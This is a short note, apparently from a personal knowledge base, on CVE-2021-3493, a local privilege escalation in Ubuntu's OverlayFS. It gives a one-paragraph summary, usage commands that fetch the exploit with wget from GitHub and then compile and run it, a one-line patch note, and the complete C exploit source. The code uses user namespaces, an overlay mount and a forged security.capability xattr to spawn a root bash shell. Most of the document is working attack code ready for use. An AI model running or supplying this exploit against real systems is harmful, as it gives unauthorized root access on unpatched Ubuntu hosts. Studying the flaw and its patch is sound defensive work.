Summary
CVE-2021-3493 is a #linux-kernel exploit that basically takes vulnerable default configs for Ubuntu Linux kernels up to version 5.10 (Patched in 5.11) and gives access to the filesystem due to improper permission validation.
Usage
wget https://raw.githubusercontent.com/briskets/CVE-2021-3493/main/exploit.c -O overlayFS.c
gcc overlayFS.c -o overlayFS-Exploit
./overlayFS-Exploit
Demo
Patch
In Linux 5.11 the call to cap_convert_nscap was moved into vfs_setxattr
Exploit Code
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
